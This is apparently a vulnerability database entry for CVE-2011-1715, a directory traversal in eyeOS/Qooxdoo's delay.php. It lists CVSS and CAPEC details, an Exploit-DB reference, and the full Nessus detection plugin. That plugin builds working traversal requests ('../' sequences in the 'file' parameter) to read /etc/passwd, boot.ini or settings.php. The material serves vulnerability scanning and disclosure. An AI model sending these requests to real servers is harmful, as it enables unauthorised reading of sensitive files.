Vulnerabilities > CVE-2011-1715 - Path Traversal vulnerability in Qooxdoo 1.3

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
qooxdoo
eyeos
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in framework/source/resource/qx/test/part/delay.php in QooxDoo 1.3 and possibly other versions, as used in eyeOS 2.2 and 2.3, and possibly other products allows remote attackers to read arbitrary files via ..%2f (encoded dot dot) sequences in the file parameter.

Vulnerable Configurations

Part Description Count
Application
Qooxdoo
1
OS
Eyeos
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptioneyeos 2.3 - Multiple Vulnerabilities. CVE-2011-1714,CVE-2011-1715. Webapps exploit for php platform
fileexploits/php/webapps/17127.txt
idEDB-ID:17127
last seen2016-02-02
modified2011-04-06
platformphp
port
published2011-04-06
reporterAutoSec Tools
sourcehttps://www.exploit-db.com/download/17127/
titleeyeos 2.3 - Multiple Vulnerabilities
typewebapps

Nessus

NASL familyCGI abuses
NASL idEYEOS_FILE_DIR_TRAVERSAL.NASL
descriptionThe version of EyeOS hosted on the remote host includes a PHP script, devtools/qooxdoo-sdk/framework/source/resource/qx/test/part/delay.php, that fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id53512
published2011-04-21
reporterThis script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/53512
titleEyeOS file Parameter Directory Traversal
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(53512);
  script_version("1.9");
  script_cvs_date("Date: 2018/06/13 18:56:27");

  script_cve_id("CVE-2011-1715");
  script_bugtraq_id(47184);
  script_xref(name:"EDB-ID", value:"17127");
  script_xref(name:"Secunia", value:"43997");

  script_name(english:"EyeOS file Parameter Directory Traversal");
  script_summary(english:"Tries to obtain a file outside the web server directory via delay.php");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server hosts a PHP script that is affected by a
directory traversal vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of EyeOS hosted on the remote host includes a PHP script,
devtools/qooxdoo-sdk/framework/source/resource/qx/test/part/delay.php,
that fails to sanitize input to the 'file' parameter before using it
to return the contents of a file from the remote host.

An unauthenticated, remote attacker can leverage this issue to obtain
potentially sensitive information from the affected web server.

Note that this install is also likely affected by a cross-site
scripting issue, although Nessus has not checked for that
vulnerability."
  );
  # http://www.autosectools.com/Advisories/eyeOS.2.3_Local.File.Inclusion_173.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e8492f9e");
  script_set_attribute(
    attribute:"see_also",
    value:"http://blog.eyeos.org/en/2011/04/07/about-some-eyeos-security-issues/"
  );
  script_set_attribute(attribute:"solution", value:"Upgrade to version 2.4 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/04/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/04/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/04/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:0, php:TRUE);

os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('/boot.ini');
  else files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/boot.ini');

# Try 'settings.php' as well; perhaps base_opendir is in effect
files = make_list(files, 'settings.php');

file_pats = make_array();
file_pats['/etc/passwd']  = "root:.*:0:[01]";
file_pats['/boot.ini']    = "^ *\[boot loader\]";
file_pats['settings.php'] = "REAL_EYE_ROOT";

# Look for installs
if (thorough_tests) dirs = list_uniq(make_list("/eyeos", cgi_dirs()));
else dirs = make_list(cgi_dirs());

contents   = "";
found_file = "";
installs   = 0;
vuln_reqs  = make_list();

foreach dir (dirs)
{
  # Make sure we're dealing with eyeos
  res = http_send_recv3(
    method       : "GET",
    item         : dir+'/index.php?getApplication=register&checknum=1&args=null',
    port         : port,
    exit_on_fail : TRUE
  );

  if ("eyeos._callbackProxyWithContent" >< res[2]  && "__eyeos_specialControlMessage_header" >< res[2])
  {
    installs++;

    foreach file (files)
    {
      # Once we find a file that works, stick with it for any subsequent tests.
      if (found_file && file != found_file) continue;

      # Try to exploit the issue
      if ("settings" >< file)
        dir_traversal = mult_str(str:"../", nb:8);
      else
        dir_traversal = mult_str(str:"../", nb:12);

      exploit = "sleep=0&file=" + dir_traversal + file;

      url = dir
          + "/devtools/qooxdoo-sdk/framework/source/resource/qx/test/part/delay.php?"
          + exploit;

      res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
      body = res[2];

      # There's a problem if we see the expected contents.
      file_pat = file_pats[file];
      if (egrep(pattern:file_pat, string:body))
      {
        vuln_reqs = make_list(vuln_reqs, url);

        if (!contents && egrep(pattern:file_pat, string:body))
        {
          found_file = file;

          # Grab a more convincing chunk of the 'settings.php' code
          if ("settings" >< found_file && "REAL_EYE_ROOT" >< body)
            contents = substr(body, stridx(body, "define('REAL_EYE_ROOT',"));
          else
            contents = body;
        }
      }
    }
  }
  if (max_index(vuln_reqs) && !thorough_tests) break;
}
if (!installs) exit(0, "The web server on port "+port+" does not appear to host EyeOS.");
if (max_index(vuln_reqs) == 0) exit(0, "No vulnerable installs of EyeOS were found on the web server on port "+port+".");

# Report findings.
if (report_verbosity > 0)
{
  line_limit = 10;
  trailer = '';

  if (os && "Windows" >< os) found_file = str_replace(find:'/', replace:'\\', string:found_file);

  header =
    'Nessus was able to exploit the issue to retrieve the contents of\n' +
    '\'' + found_file + '\' on the remote host using the following URL';

  if (report_verbosity > 1)
  {
    contents = data_protection::redact_etc_passwd(output:contents);
    trailer =
      'Here are its contents (limited to ' + line_limit + ' lines ) :\n' +
      '\n' +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n' +
      beginning_of_response(resp:contents, max_lines:line_limit) +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n';
  }

  report = get_vuln_report(items:vuln_reqs, port:port, header:header, trailer:trailer);
  security_warning(port:port, extra:report);
}
else security_warning(port);